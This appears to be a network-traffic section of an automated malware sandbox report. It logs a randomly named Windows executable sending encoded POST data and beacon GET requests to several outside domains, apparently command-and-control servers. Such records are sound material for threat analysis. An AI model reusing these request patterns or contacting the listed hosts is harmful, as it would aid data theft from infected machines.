41 59 46 42 48 70 6f 43 6c 6c 4b 74 49 43 55 74 78 74 52 4c 4b 77 69 55 6e 39 74 49 4a 43 67 79 65 6d 6f 35 69 31 64 50 49 76 59 4f 44 4d 74 71 61 79 76 6c 46 34 55 62 62 67 74 51 78 35 47 62 50 43 4d 53 61 57 4a 6a 75 58 56 59 45 47 57 31 50 45 55 71 34 63 6b 45 39 2f 67 56 68 45 42 4a 30 56 78 34 38 63 6c 33 53 57 38 66 44 47 39 30 6b 50 55 54 52 79 44 39 34 6d 56 68 41 43 59 6c 4b 69 4c 41 72 44 59 49 43 4e 32 61 35 4d 68 42 49 70 45 38 55 45 6c 53 57 6e 78 76 48 6f 38 66 36 6d 30 44 78 61 62 41 53 39 70 53 72 6e 78 77 65 42 35 67 34 2f 68 6a 63 4f 71 48 38 32 77 32 48 6a 77 32 67 50 75 68 6a 38 48 71 61 70 67 72 36 2b 4f 71 65 78 52 47 53 72 50 70 32 37 52 6d 4f 37 51 [TRUNCATED] Data Ascii: 3tV=0YfBXeJgZU4NK1+LYKrmknCalepIZvMgPEr1olAUI+UfC4zOHRo2jwNgp4eFRI3SmuxuaBRK1/VjOEX4DwuLdf+9yXywixzJTQ468H3SSUAAYFBHpoCllKtICUtxtRLKwiUn9tIJCgyemo5i1dPIvYODMtqayvlF4UbbgtQx5GbPCMSaWJjuXVYEGW1PEUq4ckE9/gVhEBJ0Vx48cl3SW8fDG90kPUTRyD94mVhACYlKiLArDYICN2a5MhBIpE8UElSWnxvHo8f6m0DxabAS9pSrnxweB5g4/hjcOqH82w2Hjw2gPuhj8Hqapgr6+OqexRGSrPp27RmO7QNVCE3vmD+WzTjzTTHEmPn7wFvyRqYgOUqJWMSQVSINZ++xKlzZXb0bswY5P1i+191Y0iAAzstXvsT7xRu7gAt71xG3FVNXNnd5YBMh9V9rAOjjL9YIuUYM6yAiE75B+1dvbCPcJxBHeFlpEOC3YW5AKNzGU16/zk/5zfliqKsZdR3W38GnMkF1uBHtAGK5c0H0Ut5yiNtjjG+2z5QuX2tMb+4X9cRc/U/msQLPwvJVEiNjrtFzgVfjOwdBdSQ8jlpAhDkoA8YHGLIzSnFIDjdbKYBT87WuAuUzv9OWAWRt3OLDqjw+W+H5CiJUQ3t8qvdTKfTIR5nbyQ2wPc5BZx9nkw4tKtzmtBOOS1QTE6nQtQHKkazKB0tDmXqc0Wu58KXDwoC3PAklBVI64keP9xPCgj2kxgpalKZiChOKpynOluuOXisdfKDXiJIrDoJMo2tTobg+Ie2bHWRoAXhD4pAcUlgMofdTPU15bR5xsxieiapW9yZAZRzQ04Q81T5Zkm/Ky1bW1+4DPFy7KAVBu4eF9NqWyw1RFN8cacIojKD+KBLrrepUqjD0bm67NNrzsgG/tMKKZjcsSLiU83t7ZxWKPw4XOaCuaYIPPaBsGn64vjyAtIlbjG7lHtn1HCeUjlLNL76ycwNIVcLb8FpPz9WkONaDCeBtPdZT [TRUNCATED]
Sep 12, 2024 15:06:33.600950956 CEST	658	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:06:33 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	203.161.43.228	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:35.570231915 CEST	428	OUT	GET /top4/?3tV=5a3hUq11SmISK3qHdKia2mXgwLRkVM4pZnP+iXsVHcY4SpqJYUoammEh9pPyYI3IhaBpEAAW18wtS0XedlaJcs6ggHC5hAq1Qhwp4jbHazxRVHta3ZSkp7g=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.lyxor.top User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:06:36.196917057 CEST	673	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:06:36 GMT Server: Apache Content-Length: 514 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 22 3e 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6b 65 74 63 68 22 3e [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="./style.css"></head><body>... partial:index.partial.html --><div class="site"><div class="sketch"><div class="bee-sketch red"></div><div class="bee-sketch blue"></div></div><h1>404:<small>Players Not Found</small></h1></div>... partial --> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49759	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:41.497684002 CEST	704	OUT	POST /swnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.unveiled.digital Origin: http://www.unveiled.digital Referer: http://www.unveiled.digital/swnk/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 56 4b 41 2f 57 70 45 48 54 57 49 50 37 54 53 5a 52 63 63 59 34 52 35 65 77 71 71 6e 52 59 4e 45 72 44 43 53 4a 63 5a 66 7a 4d 54 6c 41 4b 73 61 47 6d 33 47 54 6d 44 54 37 46 6c 73 46 6a 37 66 54 75 31 62 61 6d 59 64 31 64 47 43 42 6a 56 75 58 6c 51 72 66 4e 53 34 45 6b 2b 5a 49 4a 79 65 47 62 69 43 38 58 37 7a 72 77 71 49 66 4a 64 58 73 73 43 69 47 6c 66 47 59 59 4b 38 72 4c 48 68 49 76 30 6b 53 4a 5a 56 76 72 35 2b 4f 4a 71 2b 6e 5a 4e 59 51 4f 67 35 42 4e 62 74 31 45 73 46 6b 53 61 6e 2f 4b 46 6b 74 34 79 38 32 41 63 54 42 58 30 6e 33 58 68 76 63 32 4e 77 71 68 47 4b 67 67 3d 3d Data Ascii: 3tV=VKA/WpEHTWIP7TSZRccY4R5ewqqnRYNErDCSJcZfzMTlAKsaGm3GTmDT7FlsFj7fTu1bamYd1dGCBjVuXlQrfNS4Ek+ZIJyeGbiC8X7zrwqIfJdXssCiGlfGYYK8rLHhIv0kSJZVvr5+OJq+nZNYQOg5BNbt1EsFkSan/KFkt4y82AcTBX0n3Xhvc2NwqhGKgg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49760	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:44.043433905 CEST	724	OUT	POST /swnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.unveiled.digital Origin: http://www.unveiled.digital Referer: http://www.unveiled.digital/swnk/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 56 4b 41 2f 57 70 45 48 54 57 49 50 39 44 69 5a 54 2f 30 59 74 68 35 64 38 4b 71 6e 45 49 4d 44 72 44 47 53 4a 59 49 53 30 2b 6e 6c 46 62 63 61 42 6e 33 47 65 47 44 54 77 6c 6c 6a 42 6a 37 51 54 75 35 70 61 6b 63 64 31 64 43 43 42 6a 6c 75 58 57 6f 6f 64 64 53 36 4f 30 2b 68 4d 4a 79 65 47 62 69 43 38 54 61 63 72 77 79 49 65 35 74 58 75 4e 43 68 4c 46 66 42 62 59 4b 38 76 4c 48 6c 49 76 30 61 53 4c 73 64 76 70 42 2b 4f 49 61 2b 67 4d 78 66 61 4f 67 2f 50 74 61 73 6c 30 42 31 6b 77 58 37 32 72 56 52 6b 4b 66 65 2b 6d 4e 4a 51 6d 56 77 6c 58 46 63 42 78 45 45 6e 69 37 44 37 72 5a 4d 6c 6d 4e 34 35 32 78 4d 4f 52 4f 36 75 6f 52 35 64 65 4d 3d Data Ascii: 3tV=VKA/WpEHTWIP9DiZT/0Yth5d8KqnEIMDrDGSJYIS0+nlFbcaBn3GeGDTwlljBj7QTu5pakcd1dCCBjluXWooddS6O0+hMJyeGbiC8TacrwyIe5tXuNChLFfBbYK8vLHlIv0aSLsdvpB+OIa+gMxfaOg/Ptasl0B1kwX72rVRkKfe+mNJQmVwlXFcBxEEni7D7rZMlmN452xMORO6uoR5deM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49761	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:46.591907978 CEST	10806	OUT	POST /swnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.unveiled.digital Origin: http://www.unveiled.digital Referer: http://www.unveiled.digital/swnk/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 56 4b 41 2f 57 70 45 48 54 57 49 50 39 44 69 5a 54 2f 30 59 74 68 35 64 38 4b 71 6e 45 49 4d 44 72 44 47 53 4a 59 49 53 30 2b 66 6c 46 4a 6b 61 42 45 76 47 66 47 44 54 35 46 6b 6b 42 6a 37 33 54 74 4a 74 61 6b 51 6e 31 65 71 43 51 79 46 75 54 58 6f 6f 48 4e 53 36 41 6b 2b 61 49 4a 79 4c 47 62 7a 4c 38 58 2b 63 72 77 79 49 65 2f 4a 58 70 63 43 68 4e 46 66 47 59 59 4b 77 72 4c 47 36 49 76 38 4b 53 4c 34 4e 76 39 39 2b 4f 6f 4b 2b 68 2b 5a 66 41 4f 67 39 43 4e 62 2f 6c 30 4e 71 6b 77 37 33 32 72 67 4b 6b 4c 6e 65 36 79 73 6a 4e 55 6c 6d 7a 47 42 53 61 47 6f 6a 35 51 6a 65 2b 4b 77 32 72 54 42 30 6d 79 6c 61 4f 77 69 33 78 49 52 68 4d 62 57 76 5a 54 56 33 74 55 64 68 6b 66 64 77 73 57 57 76 51 55 63 74 37 78 36 72 55 50 30 55 62 36 53 6e 4b 50 49 62 46 6a 44 62 35 4d 6f 6d 73 54 6f 52 43 73 44 45 6c 55 65 2f 50 55 5a 6e 42 31 61 4b 45 70 37 64 76 42 5a 46 62 69 63 50 39 47 46 31 30 6b 67 55 76 38 51 30 75 58 31 58 79 2f 32 38 64 67 35 2b 6d 70 66 6e 50 79 7a 66 58 61 52 63 36 34 4e 68 51 36 [TRUNCATED] Data Ascii: 3tV=VKA/WpEHTWIP9DiZT/0Yth5d8KqnEIMDrDGSJYIS0+flFJkaBEvGfGDT5FkkBj73TtJtakQn1eqCQyFuTXooHNS6Ak+aIJyLGbzL8X+crwyIe/JXpcChNFfGYYKwrLG6Iv8KSL4Nv99+OoK+h+ZfAOg9CNb/l0Nqkw732rgKkLne6ysjNUlmzGBSaGoj5Qje+Kw2rTB0mylaOwi3xIRhMbWvZTV3tUdhkfdwsWWvQUct7x6rUP0Ub6SnKPIbFjDb5MomsToRCsDElUe/PUZnB1aKEp7dvBZFbicP9GF10kgUv8Q0uX1Xy/28dg5+mpfnPyzfXaRc64NhQ6G+z3EUeJG6Fx3SI2fL6YImnLAIJm9q4vLa6wMuDWiJQ56oFk1q6AwOGd5z8mVJeEbi+03cOXy+W66upl8KmDA3edKh6SS1HPSx5/oWymxzMPkra/1Z1mDypOkADNLqEBLWbV9k217xn7FH6oGBQ5NAn+lYMHTsPt8I1tQJJg28jVNoUOfYUOnyUYhqwuwZsdTAZz3SrhmZ6AiBVP/3viwwQL2rO2U4NwUCuzjtsBR/YcOOJrGt4Y2Vl1tX4Z2U+LCHzlOiGlMreRvYpQTf6CZKANXFPwvyt4pWezJ/ncqRg5HCearFi1in+s4hfuVa937fJNpK34IxCJxN047ilhA8v3gcuD01v2EXnBBIJOYcFrJygA9WA/7TratLJbCBk7rVQwVfLGjOFxVZo7lmnz4r8MFnmWXLMC2PvDWT8AMER/tSekmDs/v/NbB22LSA99GX/85RtjoWjagTzwXwh9EMwAPc5VkLnfXbXJTzTcN7jPg3OfPplIc7owHLttEyr3Lgo9/IdAsy/FFUdW2dvM8Gco94KOloMannEOKKctRhBmR3gmAIEVf6tSx9HyIEMnDJEplrUV7TBFKDbtHRG1O2WsTnPjtTyBEXrirTs4nx71f+iHUjhteSR9NmalUGvnd7y2qm3c9kCP1ZNtKCLD59KWFoxe/iKgzE [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49762	3.33.130.190	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:49.136720896 CEST	435	OUT	GET /swnk/?3tV=YIofVfs+RVMTlTiIWsRg/2NG6LSwccZ17VOMMr8T7NjJGKpRQCPlXVPp8EduD1P6e8BrQW5t6vS2RBJAYjg4WvzfcnuaE4r1Crjp7jLNpS7ccpgL3d7XEEo=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.unveiled.digital User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:06:49.589215040 CEST	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 12 Sep 2024 13:06:49 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 33 74 56 3d 59 49 6f 66 56 66 73 2b 52 56 4d 54 6c 54 69 49 57 73 52 67 2f 32 4e 47 36 4c 53 77 63 63 5a 31 37 56 4f 4d 4d 72 38 54 37 4e 6a 4a 47 4b 70 52 51 43 50 6c 58 56 50 70 38 45 64 75 44 31 50 36 65 38 42 72 51 57 35 74 36 76 53 32 52 42 4a 41 59 6a 67 34 57 76 7a 66 63 6e 75 61 45 34 72 31 43 72 6a 70 37 6a 4c 4e 70 53 37 63 63 70 67 4c 33 64 37 58 45 45 6f 3d 26 49 68 6b 54 62 3d 78 50 66 48 47 30 6f 38 6b 5a 49 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?3tV=YIofVfs+RVMTlTiIWsRg/2NG6LSwccZ17VOMMr8T7NjJGKpRQCPlXVPp8EduD1P6e8BrQW5t6vS2RBJAYjg4WvzfcnuaE4r1Crjp7jLNpS7ccpgL3d7XEEo=&IhkTb=xPfHG0o8kZI8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49763	185.199.108.153	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:54.656380892 CEST	704	OUT	POST /7ew2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.cake11298.online Origin: http://www.cake11298.online Referer: http://www.cake11298.online/7ew2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 46 43 6e 70 6b 6c 4b 2b 47 50 4d 4b 4d 61 37 6b 4b 32 2b 76 6e 74 32 32 68 6a 2f 39 59 64 52 39 46 32 6b 53 52 34 4f 48 4a 69 43 65 38 51 35 6d 4f 79 69 42 72 6a 46 4c 54 30 44 30 78 39 79 75 43 41 49 4b 6f 50 30 43 47 2f 48 46 68 74 54 43 78 6f 45 6e 63 49 56 49 58 4f 71 65 34 6e 6d 37 46 2f 52 67 4f 42 69 6b 58 4c 6e 36 42 76 66 47 7a 75 6c 34 44 34 61 4e 45 7a 41 4b 50 4a 31 36 67 6f 47 4c 4b 37 74 4a 43 70 43 31 4f 2f 43 4a 6d 65 66 43 71 6d 65 68 61 56 51 61 76 55 4a 46 69 45 7a 54 30 57 30 4a 2b 2f 62 36 70 66 55 2f 31 64 31 77 51 31 58 5a 66 6c 43 2b 53 58 59 45 4c 51 3d 3d Data Ascii: 3tV=FCnpklK+GPMKMa7kK2+vnt22hj/9YdR9F2kSR4OHJiCe8Q5mOyiBrjFLT0D0x9yuCAIKoP0CG/HFhtTCxoEncIVIXOqe4nm7F/RgOBikXLn6BvfGzul4D4aNEzAKPJ16goGLK7tJCpC1O/CJmefCqmehaVQavUJFiEzT0W0J+/b6pfU/1d1wQ1XZflC+SXYELQ==
Sep 12, 2024 15:06:55.290832043 CEST	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Thu, 12 Sep 2024 13:06:55 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740066-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726146415.053361,VS0,VE0 X-Fastly-Request-ID: 3456b0b95e875b7f7acc72f7c190dabc6ce956f7 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49764	185.199.108.153	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:57.204737902 CEST	724	OUT	POST /7ew2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.cake11298.online Origin: http://www.cake11298.online Referer: http://www.cake11298.online/7ew2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 46 43 6e 70 6b 6c 4b 2b 47 50 4d 4b 65 70 7a 6b 49 58 2b 76 68 4e 32 31 6b 6a 2f 39 52 39 51 30 46 32 6f 53 52 35 37 59 4a 58 71 65 39 79 68 6d 50 7a 69 42 6e 44 46 4c 42 55 44 78 2b 64 7a 44 43 41 56 2f 6f 4f 49 43 47 2f 37 46 68 6f 58 43 78 62 38 6f 4f 6f 56 4b 62 75 71 51 32 48 6d 37 46 2f 52 67 4f 42 47 61 58 4c 76 36 47 65 76 47 68 4b 4a 37 64 6f 61 4b 46 7a 41 4b 5a 35 30 53 67 6f 47 54 4b 36 77 6b 43 72 36 31 4f 2b 53 4a 6d 4c 2b 55 6b 6d 65 6e 55 31 52 58 2f 56 77 37 6a 31 61 45 33 46 34 4f 33 75 37 36 6c 35 46 6c 6b 73 55 6e 43 31 7a 71 43 69 4c 4b 66 55 6c 4e 51 58 38 34 41 61 50 4b 4c 63 6d 34 38 4c 5a 55 41 33 68 62 58 47 38 3d Data Ascii: 3tV=FCnpklK+GPMKepzkIX+vhN21kj/9R9Q0F2oSR57YJXqe9yhmPziBnDFLBUDx+dzDCAV/oOICG/7FhoXCxb8oOoVKbuqQ2Hm7F/RgOBGaXLv6GevGhKJ7doaKFzAKZ50SgoGTK6wkCr61O+SJmL+UkmenU1RX/Vw7j1aE3F4O3u76l5FlksUnC1zqCiLKfUlNQX84AaPKLcm48LZUA3hbXG8=
Sep 12, 2024 15:06:57.637331963 CEST	488	IN	HTTP/1.1 405 Method Not Allowed Connection: close Content-Length: 131 Server: Varnish Retry-After: 0 Accept-Ranges: bytes Date: Thu, 12 Sep 2024 13:06:57 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890078-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726146418.591980,VS0,VE0 X-Fastly-Request-ID: 473839501002306211b20a7d1c7aff1d5782fcdd Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49765	185.199.108.153	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:06:59.751956940 CEST	10806	OUT	POST /7ew2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.cake11298.online Origin: http://www.cake11298.online Referer: http://www.cake11298.online/7ew2/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 46 43 6e 70 6b 6c 4b 2b 47 50 4d 4b 65 70 7a 6b 49 58 2b 76 68 4e 32 31 6b 6a 2f 39 52 39 51 30 46 32 6f 53 52 35 37 59 4a 52 79 65 39 48 31 6d 4f 51 36 42 6b 44 46 4c 61 55 44 77 2b 64 7a 37 43 41 4e 37 6f 4f 46 31 47 35 2f 46 6a 4b 66 43 33 71 38 6f 58 59 56 4b 54 4f 71 64 34 6e 6d 55 46 2f 42 61 4f 42 57 61 58 4c 76 36 47 64 33 47 6b 75 6c 37 66 6f 61 4e 45 7a 41 38 50 4a 30 70 67 6f 4f 44 4b 36 31 5a 43 62 61 31 4f 65 69 4a 71 59 57 55 73 6d 65 6c 54 31 51 45 2f 55 4d 65 6a 31 47 49 33 47 6b 6f 33 75 50 36 32 4f 49 46 68 38 55 37 64 30 6a 6c 61 6a 7a 2b 58 54 64 73 51 57 4e 64 4a 2b 72 45 5a 66 6e 58 37 4b 4d 37 5a 6d 41 5a 4a 79 2f 51 48 41 65 65 56 33 6b 4a 42 70 54 4d 52 75 67 50 70 6a 6c 57 69 53 44 5a 6d 46 37 58 4e 43 74 39 53 68 44 57 65 45 43 6e 79 57 71 74 43 71 56 53 57 50 31 70 36 65 74 2f 49 72 59 74 77 62 57 79 49 68 76 37 69 6c 4c 41 66 2b 4e 6f 4a 76 49 6b 50 74 35 56 62 61 49 33 6b 44 56 2f 56 50 51 38 63 4e 75 2f 56 47 65 50 48 68 30 39 52 68 77 51 65 4f 56 67 4e 61 [TRUNCATED] Data Ascii: 